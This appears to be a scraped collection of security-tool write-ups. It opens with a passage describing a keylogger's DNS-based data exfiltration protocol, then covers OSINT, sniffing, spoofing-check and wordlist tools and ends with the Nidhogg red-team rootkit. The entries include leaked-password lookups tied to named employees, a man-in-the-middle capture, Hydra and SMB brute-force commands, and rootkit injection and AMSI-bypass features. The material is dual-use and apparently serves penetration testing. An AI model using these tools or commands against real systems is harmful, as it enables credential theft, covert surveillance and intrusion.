    The following is the format to follow for starting a connection: a.1.1.1.[sld].[tld].

    The server will respond with an IP address in following format: 123.123.123.[id]

    Concurrent connections cannot exceed 254, and clients are never considered "disconnected."

    Exfiltrating Data

    A record requests starting with b indicate exfiltrated data being sent to the server.

    The following is the format to follow for sending data after establishing a connection: b.[packet #].[id].[data].[sld].[tld].

    The server will respond with [code].123.123.123

    id is the id that was established on connection. Data is sent as ASCII encoded in hex.

    code is one of the codes described below.

    Response Codes

    200: OK

    If the client sends a request that is processed normally, the server will respond with code 200.

    201: Malformed Record Requests

    If the client sends an malformed record request, the server will respond with code 201.

    202: Non-Existant Connections

    If the client sends a data packet with an id greater than the # of connections, the server will respond with code 202.

    203: Out of Order Packets

    If the client sends a packet with a packet id that doesn't match what is expected, the server will respond with code 203. Clients and servers should reset their packet numbers to 0. Then the client can resend the packet with the new packet id.

    204 Reached Max Connection

    If the client attempts to create a connection when the max has reached, the server will respond with code 204.

    Dropped Packets

    Clients should rely on responses as acknowledgements of received packets. If they do not receive a response, they should resend the same payload.

    Side Notes

    Linux

    Log File

    The log file containing user inputs contains ASCII control characters, such as backspace, delete, and carriage return. If you print the contents using something like cat, you should select the appropriate option to print ASCII control characters, such as -v for cat, or open it in a text-editor.

    Non-Interactive Shells

    The keylogger relies on script, so the keylogger won't run in non-interactive shells.

    Windows

    Repeated Requests

    For some reason, the Windows Dns_Query_A always sends duplicate requests. The server will process it fine because it discards repeated packets.



    EmploLeaks - An OSINT Tool That Helps Detect Members Of A Company With Leaked Credentials

    By: Zion3R

    Β 

    This is a tool designed for Open Source Intelligence (OSINT) purposes, which helps to gather information about employees of a company.

    How it Works

    The tool starts by searching through LinkedIn to obtain a list of employees of the company. Then, it looks for their social network profiles to find their personal email addresses. Finally, it uses those email addresses to search through a custom COMB database to retrieve leaked passwords. You an easily add yours and connect to through the tool.


    Installation

    To use this tool, you'll need to have Python 3.10 installed on your machine. Clone this repository to your local machine and install the required dependencies using pip in the cli folder:

    cd cli
    pip install -r requirements.txt

    OSX

    We know that there is a problem when installing the tool due to the psycopg2 binary. If you run into this problem, you can solve it running:

    cd cli
    python3 -m pip install psycopg2-binary`

    Basic Usage

    To use the tool, simply run the following command:

    python3 cli/emploleaks.py

    If everything went well during the installation, you will be able to start using EmploLeaks:

    ___________              .__         .__                 __
    \_ _____/ _____ ______ | | ____ | | ____ _____ | | __ ______
    | __)_ / \____ \| | / _ \| | _/ __ \__ \ | |/ / / ___/
    | \ Y Y \ |_> > |_( <_> ) |_\ ___/ / __ \| < \___ \
    /_______ /__|_| / __/|____/\____/|____/\___ >____ /__|_ \/____ >
    \/ \/|__| \/ \/ \/ \/

    OSINT tool Γ°ΕΈβ€’Β΅ to chain multiple apis
    emploleaks>

    Right now, the tool supports two functionalities:

    • Linkedin, for searching all employees from a company and get their personal emails.
      • A GitLab extension, which is capable of finding personal code repositories from the employees.
    • If defined and connected, when the tool is gathering employees profiles, a search to a COMB database will be made in order to retrieve leaked passwords.

    Retrieving Linkedin Profiles

    First, you must set the plugin to use, which in this case is linkedin. After, you should set your authentication tokens and the run the impersonate process:

    emploleaks> use --plugin linkedin
    emploleaks(linkedin)> setopt JSESSIONID
    JSESSIONID:
    [+] Updating value successfull
    emploleaks(linkedin)> setopt li-at
    li-at:
    [+] Updating value successfull
    emploleaks(linkedin)> show options
    Module options:

    Name Current Setting Required Description
    ---------- ----------------------------------- ---------- -----------------------------------
    hide yes no hide the JSESSIONID field
    JSESSIONID ************************** no active cookie session in browser #1
    li-at AQEDAQ74B0YEUS-_AAABilIFFBsAAAGKdhG no active cookie session in browser #1
    YG00AxGP34jz1bRrgAcxkXm9RPNeYIAXz3M
    cycrQm5FB6lJ-Tezn8GGAsnl_GRpEANRdPI
    lWTRJJGF9vbv5yZHKOeze_WCHoOpe4ylvET
    kyCyfN58SNNH
    emploleaks(linkedin)> run i mpersonate
    [+] Using cookies from the browser
    Setting for first time JSESSIONID
    Setting for first time li_at

    li_at and JSESSIONID are the authentication cookies of your LinkedIn session on the browser. You can use the Web Developer Tools to get it, just sign-in normally at LinkedIn and press right click and Inspect, those cookies will be in the Storage tab.

    Now that the module is configured, you can run it and start gathering information from the company:

    Get Linkedin accounts + Leaked Passwords

    We created a custom workflow, where with the information retrieved by Linkedin, we try to match employees' personal emails to potential leaked passwords. In this case, you can connect to a database (in our case we have a custom indexed COMB database) using the connect command, as it is shown below:

    emploleaks(linkedin)> connect --user myuser --passwd mypass123 --dbname mydbname --host 1.2.3.4
    [+] Connecting to the Leak Database...
    [*] version: PostgreSQL 12.15

    Once it's connected, you can run the workflow. With all the users gathered, the tool will try to search in the database if a leaked credential is affecting someone:

    As a conclusion, the tool will generate a console output with the following information:
    • A list of employees of the company (obtained from LinkedIn)
    • The social network profiles associated with each employee (obtained from email address)
    • A list of leaked passwords associated with each email address.

    How to build the indexed COMB database

    An imortant aspect of this project is the use of the indexed COMB database, to build your version you need to download the torrent first. Be careful, because the files and the indexed version downloaded requires, at least, 400 GB of disk space available.

    Once the torrent has been completelly downloaded you will get a file folder as following:

    Ò”œÒ”€Ò”€ count_total.sh
    Ò”œÒ”€Ò”€ data
    Γ’β€β€š Ò”œÒ”€Ò”€ 0
    Γ’β€β€š Ò”œÒ”€Ò”€ 1
    Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ 0
    Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ 1
    Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ 2
    Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ 3
    Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ 4
    Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò&€ 5
    Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ 6
    Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ 7
    Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ 8
    Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ 9
    Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ a
    Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ b
    Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ c
    Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ d
    Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ e
    Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ f
    Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ g
    Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ h
    Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ i
    Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ j
    Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ k
    Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ l
    Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ m
    Γ’β€β€š Γ’β€β€š Ò”œÒ €Ò”€ n
    Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ o
    Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ p
    Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ q
    Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ r
    Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ s
    Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ symbols
    Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ t

    At this point, you could import all those files with the command create_db:

    The importer takes a lot of time for that reason we recommend to run it with patience.

    Next Steps

    We are integrating other public sites and applications that may offer about a leaked credential. We may not be able to see the plaintext password, but it will give an insight if the user has any compromised credential:

    • Integration with Have I Been Pwned?
    • Integration with Firefox Monitor
    • Integration with Leak Check
    • Integration with BreachAlarm

    Also, we will be focusing on gathering even more information from public sources of every employee. Do you have any idea in mind? Don't hesitate to reach us:

    Or you con DM at @pastacls or @gaaabifranco on Twitter.



    PipeViewer - A Tool That Shows Detailed Information About Named Pipes In Windows

    By: Zion3R


    A GUI tool for viewing Windows Named Pipes and searching for insecure permissions.

    The tool was published as part of a research about Docker named pipes:
    "Breaking Docker Named Pipes SYSTEMatically: Docker Desktop Privilege Escalation – Part 1"
    "Breaking Docker Named Pipes SYSTEMatically: Docker Desktop Privilege Escalation – Part 2"

    Overview

    PipeViewer is a GUI tool that allows users to view details about Windows Named pipes and their permissions. It is designed to be useful for security researchers who are interested in searching for named pipes with weak permissions or testing the security of named pipes. With PipeViewer, users can easily view and analyze information about named pipes on their systems, helping them to identify potential security vulnerabilities and take appropriate steps to secure their systems.


    Usage

    Double-click the EXE binary and you will get the list of all named pipes.

    Build

    We used Visual Studio to compile it.
    When downloading it from GitHub you might get error of block files, you can use PowerShell to unblock them:

    Get-ChildItem -Path 'D:\tmp\PipeViewer-main' -Recurse | Unblock-File

    Warning

    We built the project and uploaded it so you can find it in the releases.
    One problem is that the binary will trigger alerts from Windows Defender because it uses the NtObjerManager package which is flagged as virus.
    Note that James Forshaw talked about it here.
    We can't change it because we depend on third-party DLL.

    Features

    • A detailed overview of named pipes.
    • Filter\highlight rows based on cells.
    • Bold specific rows.
    • Export\Import to\from JSON.
    • PipeChat - create a connection with available named pipes.

    Demo

    PipeViewer3_v1.0.mp4

    Credit

    We want to thank James Forshaw (@tyranid) for creating the open source NtApiDotNet which allowed us to get information about named pipes.

    License

    Copyright (c) 2023 CyberArk Software Ltd. All rights reserved
    This repository is licensed under Apache-2.0 License - see LICENSE for more details.

    References

    For more comments, suggestions or questions, you can contact Eviatar Gerzi (@g3rzi) and CyberArk Labs.



    PacketSpy - Powerful Network Packet Sniffing Tool Designed To Capture And Analyze Network Traffic

    By: Zion3R


    PacketSpy is a powerful network packet sniffing tool designed to capture and analyze network traffic. It provides a comprehensive set of features for inspecting HTTP requests and responses, viewing raw payload data, and gathering information about network devices. With PacketSpy, you can gain valuable insights into your network's communication patterns and troubleshoot network issues effectively.


    Features

    • Packet Capture: Capture and analyze network packets in real-time.
    • HTTP Inspection: Inspect HTTP requests and responses for detailed analysis.
    • Raw Payload Viewing: View raw payload data for deeper investigation.
    • Device Information: Gather information about network devices, including IP addresses and MAC addresses.

    Installation

    git clone https://github.com/HalilDeniz/PacketSpy.git

    Requirements

    PacketSpy requires the following dependencies to be installed:

    pip install -r requirements.txt

    Getting Started

    To get started with PacketSpy, use the following command-line options:

    root@denizhalil:/PacketSpy# python3 packetspy.py --help                          
    usage: packetspy.py [-h] [-t TARGET_IP] [-g GATEWAY_IP] [-i INTERFACE] [-tf TARGET_FIND] [--ip-forward] [-m METHOD]

    options:
    -h, --help show this help message and exit
    -t TARGET_IP, --target TARGET_IP
    Target IP address
    -g GATEWAY_IP, --gateway GATEWAY_IP
    Gateway IP address
    -i INTERFACE, --interface INTERFACE
    Interface name
    -tf TARGET_FIND, --targetfind TARGET_FIND
    Target IP range to find
    --ip-forward, -if Enable packet forwarding
    -m METHOD, --method METHOD
    Limit sniffing to a specific HTTP method

    Examples

    1. Device Detection
    root@denizhalil:/PacketSpy# python3 packetspy.py -tf 10.0.2.0/24 -i eth0

    Device discovery
    **************************************
    Ip Address Mac Address
    **************************************
    10.0.2.1 52:54:00:12:35:00
    10.0.2.2 52:54:00:12:35:00
    10.0.2.3 08:00:27:78:66:95
    10.0.2.11 08:00:27:65:96:cd
    10.0.2.12 08:00:27:2f:64:fe

    1. Man-in-the-Middle Sniffing
    root@denizhalil:/PacketSpy# python3 packetspy.py -t 10.0.2.11 -g 10.0.2.1 -i eth0
    ******************* started sniff *******************

    HTTP Request:
    Method: b'POST'
    Host: b'testphp.vulnweb.com'
    Path: b'/userinfo.php'
    Source IP: 10.0.2.20
    Source MAC: 08:00:27:04:e8:82
    Protocol: HTTP
    User-Agent: b'Mozilla/5.0 (X11; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0'

    Raw Payload:
    b'uname=admin&pass=mysecretpassword'

    HTTP Response:
    Status Code: b'302'
    Content Type: b'text/html; charset=UTF-8'
    --------------------------------------------------

    FootNote

    Https work still in progress

    Contributing

    Contributions are welcome! To contribute to PacketSpy, follow these steps:

    1. Fork the repository.
    2. Create a new branch for your feature or bug fix.
    3. Make your changes and commit them.
    4. Push your changes to your forked repository.
    5. Open a pull request in the main repository.

    Contact

    If you have any questions, comments, or suggestions about PacketSpy, please feel free to contact me:

    License

    PacketSpy is released under the MIT License. See LICENSE for more information.



    Spoofy - Program That Checks If A List Of Domains Can Be Spoofed Based On SPF And DMARC Records

    By: Zion3R



    Spoofy is a program that checks if a list of domains can be spoofed based on SPF and DMARC records. You may be asking, "Why do we need another tool that can check if a domain can be spoofed?"

    Well, Spoofy is different and here is why:

    1. Authoritative lookups on all lookups with known fallback (Cloudflare DNS)
    2. Accurate bulk lookups
    3. Custom, manually tested spoof logic (No guessing or speculating, real world test results)
    4. SPF lookup counter

    Β 

    HOW TO USE

    Spoofy requires Python 3+. Python 2 is not supported. Usage is shown below:

    Usage:
    ./spoofy.py -d [DOMAIN] -o [stdout or xls]
    OR
    ./spoofy.py -iL [DOMAIN_LIST] -o [stdout or xls]

    Install Dependencies:
    pip3 install -r requirements.txt

    HOW DO YOU KNOW ITS SPOOFABLE

    (The spoofability table lists every combination of SPF and DMARC configurations that impact deliverability to the inbox, except for DKIM modifiers.) Download Here

    METHODOLOGY

    The creation of the spoofability table involved listing every relevant SPF and DMARC configuration, combining them, and then conducting SPF and DMARC information collection using an early version of Spoofy on a large number of US government domains. Testing if an SPF and DMARC combination was spoofable or not was done using the email security pentesting suite at emailspooftest using Microsoft 365. However, the initial testing was conducted using Protonmail and Gmail, but these services were found to utilize reverse lookup checks that affected the results, particularly for subdomain spoof testing. As a result, Microsoft 365 was used for the testing, as it offered greater control over the handling of mail.

    After the initial testing using Microsoft 365, some combinations were retested using Protonmail and Gmail due to the differences in their handling of banners in emails. Protonmail and Gmail can place spoofed mail in the inbox with a banner or in spam without a banner, leading to some SPF and DMARC combinations being reported as "Mailbox Dependent" when using Spoofy. In contrast, Microsoft 365 places both conditions in spam. The testing and data collection process took several days to complete, after which a good master table was compiled and used as the basis for the Spoofy spoofability logic.

    DISCLAIMER

    This tool is only for testing and academic purposes and can only be used where strict consent has been given. Do not use it for illegal purposes! It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this tool and software.

    CREDIT

    Lead / Only programmer & spoofability logic comprehension upgrades & lookup resiliency system / fix (main issue with other tools) & multithreading & feature additions: Matt Keeley

    DMARC, SPF, DNS insights & Spoofability table creation/confirmation/testing & application accuracy/quality assurance: calamity.email / eman-ekaf

    Logo: cobracode

    Tool was inspired by Bishop Fox's project called spoofcheck.



    HackBot - A Simple Cli Chatbot Having Llama2 As Its Backend Chat AI

    By: Zion3R


    Welcome to HackBot, an AI-powered cybersecurity chatbot designed to provide helpful and accurate answers to your cybersecurity-related queries and also do code analysis and scan analysis. Whether you are a security researcher, an ethical hacker, or just curious about cybersecurity, HackBot is here to assist you in finding the information you need.

    HackBot utilizes the powerful language model Meta-LLama2 through the "LlamaCpp" library. This allows HackBot to respond to your questions in a coherent and relevant manner. Please make sure to keep your queries in English and adhere to the guidelines provided to get the best results from HackBot.


    Features

    • AI Cybersecurity Chat: HackBot can answer various cybersecurity-related queries, helping you with penetration testing, security analysis, and more.
    • Interactive Interface: The chatbot provides an interactive command-line interface, making it easy to have conversations with HackBot.
    • Clear Output: HackBot presents its responses in a well-formatted markdown, providing easily readable and organized answers.
    • Static Code Analysis: Utilizes the provided scan data or log file for conducting static code analysis. It thoroughly examines the source code without executing it, identifying potential vulnerabilities, coding errors, and security issues.
    • Vulnerability Analysis: Performs a comprehensive vulnerability analysis using the provided scan data or log file. It identifies and assesses security weaknesses, misconfigurations, and potential exploits present in the target system or network.

    How it looks

    Chat:

    Static Code analysis:

    Vulnerability analysis:

    Installation

    Prerequisites

    Before you proceed with the installation, ensure you have the following prerequisites:

    Step 1: Clone the Repository

    git clone https://github.com/morpheuslord/hackbot.git
    cd hackbot

    Step 2: Install Dependencies

    pip install -r requirements.txt

    Step 3: Download the AI Model

    python hackbot.py

    The first time you run HackBot, it will check for the AI model required for the chatbot. If the model is not present, it will be automatically downloaded and saved as "llama-2-7b-chat.ggmlv3.q4_0.bin" in the project directory.

    Usage

    To start a conversation with HackBot, run the following command:

    python hackbot.py

    HackBot will display a banner and wait for your input. You can ask cybersecurity-related questions, and HackBot will respond with informative answers. To exit the chat, simply type "quit_bot" in the input prompt.

    Here are some additional commands you can use:

    • clear_screen: Clears the console screen for better readability.
    • quit_bot: This is used to quit the chat application
    • bot_banner: Prints the default bots banner.
    • contact_dev: Provides my contact information.
    • save_chat: Saves the current sessions interactions.
    • vuln_analysis: Does a Vuln analysis using the scan data or log file.
    • static_code_analysis: Does a Static code analysis using the scan data or log file.

    Note: I am working on more addons and more such commands to give a more chatGPT experience

    Please Note: HackBot's responses are based on the Meta-LLama2 AI model, and its accuracy depends on the quality of the queries and data provided to it.

    I am also working on AI training by which I can teach it how to be more accurately tuned to work for hackers on a much more professional level.

    Contributing

    We welcome contributions to improve HackBot's functionality and accuracy. If you encounter any issues or have suggestions for enhancements, please feel free to open an issue or submit a pull request. Follow these steps to contribute:

    1. Fork the repository.
    2. Create a new branch with a descriptive name.
    3. Make your changes and commit them.
    4. Push your changes to your forked repository.
    5. Open a pull request to the main branch of this repository.

    Please maintain a clean commit history and adhere to the project's coding guidelines.

    AI training

    If anyone with the know-how of training text generation models can help improve the code.

    Contact

    For any questions, feedback, or inquiries related to HackBot, feel free to contact the project maintainer:



    InfoHound - An OSINT To Extract A Large Amount Of Data Given A Web Domain Name

    By: Zion3R


    During the reconnaissance phase, an attacker searches for any information about his target to create a profile that will later help him to identify possible ways to get in an organization. InfoHound performs passive analysis techniques (which do not interact directly with the target) using OSINT to extract a large amount of data given a web domain name. This tool will retrieve emails, people, files, subdomains, usernames and urls that will be later analyzed to extract even more valuable information.


    Infohound architecture

    Installation

    git clone https://github.com/xampla/InfoHound.git
    cd InfoHound/infohound
    mv infohound_config.sample.py infohound_config.py
    cd ..
    docker-compose up -d

    You must add API Keys inside infohound_config.py file

    Default modules

    InfoHound has 2 different types of modules, those which retreives data and those which analyse it to extract more relevant information.

     Retrievval modules

    Name Description
    Get Whois Info Get relevant information from Whois register.
    Get DNS Records This task queries the DNS.
    Get Subdomains This task uses Alienvault OTX API, CRT.sh, and HackerTarget as data sources to discover cached subdomains.
    Get Subdomains From URLs Once some tasks have been performed, the URLs table will have a lot of entries. This task will check all the URLs to find new subdomains.
    Get URLs It searches all URLs cached by Wayback Machine and saves them into the database. This will later help to discover other data entities like files or subdomains.
    Get Files from URLs It loops through the URLs database table to find files and store them in the Files database table for later analysis. The files that will be retrieved are: doc, docx, ppt, pptx, pps, ppsx, xls, xlsx, odt, ods, odg, odp, sxw, sxc, sxi, pdf, wpd, svg, indd, rdp, ica, zip, rar
    Find Email It looks for emails using queries to Google and Bing.
    Find People from Emails Once some emails have been found, it can be useful to discover the person behind them. Also, it finds usernames from those people.
    Find Emails From URLs Sometimes, the discovered URLs can contain sensitive information. This task retrieves all the emails from URL paths.
    Execute Dorks It will execute the dorks defined in the dorks folder. Remember to group the dorks by categories (filename) to understand their objectives.
    Find Emails From Dorks By default, InfoHound has some dorks defined to discover emails. This task will look for them in the results obtained from dork execution.

    Analysis

    Name Description
    Check Subdomains Take-Over It performs some checks to determine if a subdomain can be taken over.
    Check If Domain Can Be Spoofed It checks if a domain, from the emails InfoHound has discovered, can be spoofed. This could be used by attackers to impersonate a person and send emails as him/her.
    Get Profiles From Usernames This task uses the discovered usernames from each person to find profiles from services or social networks where that username exists. This is performed using the Maigret tool. It is worth noting that although a profile with the same username is found, it does not necessarily mean it belongs to the person being analyzed.
    Download All Files Once files have been stored in the Files database table, this task will download them in the "download_files" folder.
    Get Metadata Using exiftool, this task will extract all the metadata from the downloaded files and save it to the database.
    Get Emails From Metadata As some metadata can contain emails, this task will retrieve all of them and save them to the database.
    Get Emails From Files Content Usually, emails can be included in corporate files, so this task will retrieve all the emails from the downloaded files' content.
    Find Registered Services using Emails It is possible to find services or social networks where an email has been used to create an account. This task will check if an email InfoHound has discovered has an account in Twitter, Adobe, Facebook, Imgur, Mewe, Parler, Rumble, Snapchat, Wordpress, and/or Duolingo.
    Check Breach This task checks Firefox Monitor service to see if an email has been found in a data breach. Although it is a free service, it has a limitation of 10 queries per day. If Leak-Lookup API key is set, it also checks it.

    Custom modules

    InfoHound lets you create custom modules, you just need to add your script inside infohoudn/tool/custom_modules. One custome module has been added as an example which uses Holehe tool to check if the emails previously are attached to an account on sites like Twitter, Instagram, Imgur and more than 120 others.

    Inspired by



    Artemis - APK Infrastructure Investigator

    By: Zion3R

    Overview

    A tools for Find APK Infrastructure .

    HADESS performs offensive cybersecurity services through infrastructures and software that include vulnerability analysis, scenario attack planning, and implementation of custom integrated preventive projects. We organized our activities around the prevention of corporate, industrial, and laboratory cyber threats.


    Installation

    pip install -r requirements.txt  
    python main.py

    Command Line Options

              
    --help Display help
    --path Required path of apk file
    --manifest Display manifest informations
    --infra Find all infra addresses included ip,domain ex. --infra ip,domain
    --whoise Whoise all infra included ip,domain ex. --whoise ip,domain
    --output Set output files ex. --output out.txt

    Usage

    Display Manifest

    APK Infrastructure Investigator (3)

    IP Whois

    APK Infrastructure Investigator (4)

    Example Usage:

    1.Find infra(domain and ip) in sample4.apk and set output result into out.txt

    python3 main.py --path sample4.apk --infra domain,ip --output out.txt
    1. Investigate the Domain and IP on the APK
    python3 main.py --path sample.apk --whois ip


    SOC-Multitool - A Powerful And User-Friendly Browser Extension That Streamlines Investigations For Security Professionals

    By: Zion3R


    Introducing SOC Multi-tool, a free and open-source browser extension that makes investigations faster and more efficient. Now available on the Chrome Web Store and compatible with all Chromium-based browsers such as Microsoft Edge, Chrome, Brave, and Opera.
    Now available on Chrome Web Store!


    Streamline your investigations

    SOC Multi-tool eliminates the need for constant copying and pasting during investigations. Simply highlight the text you want to investigate, right-click, and navigate to the type of data highlighted. The extension will then open new tabs with the results of your investigation.

    Modern and feature-rich

    The SOC Multi-tool is a modernized multi-tool built from the ground up, with a range of features and capabilities. Some of the key features include:

    • IP Reputation Lookup using VirusTotal & AbuseIPDB
    • IP Info Lookup using Tor relay checker & WHOIS
    • Hash Reputation Lookup using VirusTotal
    • Domain Reputation Lookup using VirusTotal & AbuseIPDB
    • Domain Info Lookup using Alienvault
    • Living off the land binaries Lookup using the LOLBas project
    • Decoding of Base64 & HEX using CyberChef
    • File Extension & Filename Lookup using fileinfo.com & File.net
    • MAC Address manufacturer Lookup using maclookup.com
    • Parsing of UserAgent using user-agents.net
    • Microsoft Error code Lookup using Microsoft's DB
    • Event ID Lookup (Windows, Sharepoint, SQL Server, Exchange, and Sysmon) using ultimatewindowssecurity.com
    • Blockchain Address Lookup using blockchain.com
    • CVE Info using cve.mitre.org

    Easy to install

    You can easily install the extension by downloading the release from the Chrome Web Store!
    If you wish to make edits you can download from the releases page, extract the folder and make your changes.
    To load your edited extension turn on developer mode in your browser's extensions settings, click "Load unpacked" and select the extracted folder!


    SOC Multi-tool is a community-driven project and the developer encourages users to contribute and share better resources.



    ScrapPY - A Python Utility For Scraping Manuals, Documents, And Other Sensitive PDFs To Generate Wordlists That Can Be Utilized By Offensive Security Tools

    By: Zion3R


    ScrapPY is a Python utility for scraping manuals, documents, and other sensitive PDFs to generate targeted wordlists that can be utilized by offensive security tools to perform brute force, forced browsing, and dictionary attacks. ScrapPY performs word frequency, entropy, and metadata analysis, and can run in full output modes to craft custom wordlists for targeted attacks. The tool dives deep to discover keywords and phrases leading to potential passwords or hidden directories, outputting to a text file that is readable by tools such as Hydra, Dirb, and Nmap. Expedite initial access, vulnerability discovery, and lateral movement with ScrapPY!


    Install:

    Download Repository:

    $ mkdir ScrapPY
    $ cd ScrapPY/
    $ sudo git clone https://github.com/RoseSecurity/ScrapPY.git

    Install Dependencies:

    $ pip3 install -r requirements.txt

    ScrapPY Usage:

    usage: ScrapPY.py [-h] [-f FILE] [-m {word-frequency,full,metadata,entropy}] [-o OUTPUT]

    Output metadata of document:

    $ python3 ScrapPY.py -f example.pdf -m metadata

    Output top 100 frequently used keywords to a file name Top_100_Keywords.txt:

    $ python3 ScrapPY.py -f example.pdf -m word-frequency -o Top_100_Keywords.txt

    Output all keywords to default ScrapPY.txt file:

    $ python3 ScrapPY.py -f example.pdf

    Output top 100 keywords with highest entropy rating:

    $ python3 ScrapPY.py -f example.pdf -m entropy

    ScrapPY Output:

    # ScrapPY outputs the ScrapPY.txt file or specified name file to the directory in which the tool was ran. To view the first fifty lines of the file, run this command:

    $ head -50 ScrapPY.txt

    # To see how many words were generated, run this command:

    $ wc -l ScrapPY.txt

    Integration with Offensive Security Tools:

    Easily integrate with tools such as Dirb to expedite the process of discovering hidden subdirectories:

    root@RoseSecurity:~# dirb http://192.168.1.123/ /root/ScrapPY/ScrapPY.txt

    -----------------
    DIRB v2.21
    By The Dark Raver
    -----------------

    START_TIME: Fri May 16 13:41:45 2014
    URL_BASE: http://192.168.1.123/
    WORDLIST_FILES: /root/ScrapPY/ScrapPY.txt

    -----------------

    GENERATED WORDS: 4592

    ---- Scanning URL: http://192.168.1.123/ ----
    ==> DIRECTORY: http://192.168.1.123/vi/
    + http://192.168.1.123/programming (CODE:200|SIZE:2726)
    + http://192.168.1.123/s7-logic/ (CODE:403|SIZE:1122)
    ==> DIRECTORY: http://192.168.1.123/config/
    ==> DIRECTORY: http://192.168.1.123/docs/
    ==> DIRECTORY: http://192.168.1.123/external/

    Utilize ScrapPY with Hydra for advanced brute force attacks:

    root@RoseSecurity:~# hydra -l root -P /root/ScrapPY/ScrapPY.txt -t 6 ssh://192.168.1.123
    Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only

    Hydra (http://www.thc.org/thc-hydra) starting at 2014-05-19 07:53:33
    [DATA] 6 tasks, 1 server, 1003 login tries (l:1/p:1003), ~167 tries per task
    [DATA] attacking service ssh on port 22

    Enhance Nmap scripts with ScrapPY wordlists:

    nmap -p445 --script smb-brute.nse --script-args userdb=users.txt,passdb=ScrapPY.txt 192.168.1.123

    Future Development:

    • Allow for custom output file naming and increased verbosity
    • Integrate different modes of operation including word frequency analysis
    • Allow for metadata analysis
    • Search for high-entropy data
    • Search for path-like data
    • Implement image OCR to enumerate data from images in PDFs
    • Allow for processing of multiple PDFs


    Nidhogg - All-In-One Simple To Use Rootkit For Red Teams

    By: Zion3R


    Nidhogg is a multi-functional rootkit for red teams. The goal of Nidhogg is to provide an all-in-one and easy-to-use rootkit with multiple helpful functionalities for red team engagements that can be integrated with your C2 framework via a single header file with simple usage, you can see an example here.

    Nidhogg can work on any version of x64 Windows 10 and Windows 11.

    This repository contains a kernel driver with a C++ header to communicate with it.


    Current Features

    • Process hiding and unhiding
    • Process elevation
    • Process protection (anti-kill and dumping)
    • Bypass pe-sieve
    • Thread hiding
    • Thread protection (anti-kill)
    • File protection (anti-deletion and overwriting)
    • File hiding
    • Registry keys and values protection (anti-deletion and overwriting)
    • Registry keys and values hiding
    • Querying currently protected processes, threads, files, registry keys and values
    • Arbitrary kernel R/W
    • Function patching
    • Built-in AMSI bypass
    • Built-in ETW patch
    • Process signature (PP/PPL) modification
    • Can be reflectively loaded
    • Shellcode Injection
      • APC
      • NtCreateThreadEx
    • DLL Injection
      • APC
      • NtCreateThreadEx
    • Querying kernel callbacks
      • ObCallbacks
      • Process and thread creation routines
      • Image loading routines
      • Registry callbacks
    • Removing and restoring kernel callbacks
    • ETWTI tampering

    Reflective loading

    Since version v0.3, Nidhogg can be reflectively loaded with kdmapper but because PatchGuard will be automatically triggered if the driver registers callbacks, Nidhogg will not register any callback. Meaning, that if you are loading the driver reflectively these features will be disabled by default:

    • Process protection
    • Thread protection
    • Registry operations

    PatchGuard triggering features

    These are the features known to me that will trigger PatchGuard, you can still use them at your own risk.

    • Process hiding
    • File protecting

    Basic Usage

    It has a very simple usage, just include the header and get started!

    #include "Nidhogg.hpp"

    int main() {
    HANDLE hNidhogg = CreateFile(DRIVER_NAME, GENERIC_WRITE | GENERIC_READ, 0, nullptr, OPEN_EXISTING, 0, nullptr);
    // ...
    DWORD result = Nidhogg::ProcessUtils::NidhoggProcessProtect(pids);
    // ...
    }

    Setup

    Building the client

    To compile the client, you will need to install CMake and Visual Studio 2022 installed and then just run:

    cd <NIDHOGG PROJECT DIRECTORY>\Example
    mkdir build
    cd build
    cmake ..
    cmake --build .

    Building the driver

    To compile the project, you will need the following tools:

    Clone the repository and build the driver.

    Driver Testing

    To test it in your testing environment run those commands with elevated cmd:

    bcdedit /set testsigning on

    After rebooting, create a service and run the driver:

    sc create nidhogg type= kernel binPath= C:\Path\To\Driver\Nidhogg.sys
    sc start nidhogg

    Debugging

    To debug the driver in your testing environment run this command with elevated cmd and reboot your computer:

    bcdedit /debug on

    After the reboot, you can see the debugging messages in tools such as DebugView.

    Resources

    Contributions

    Thanks a lot to those people that contributed to this project:



    ❌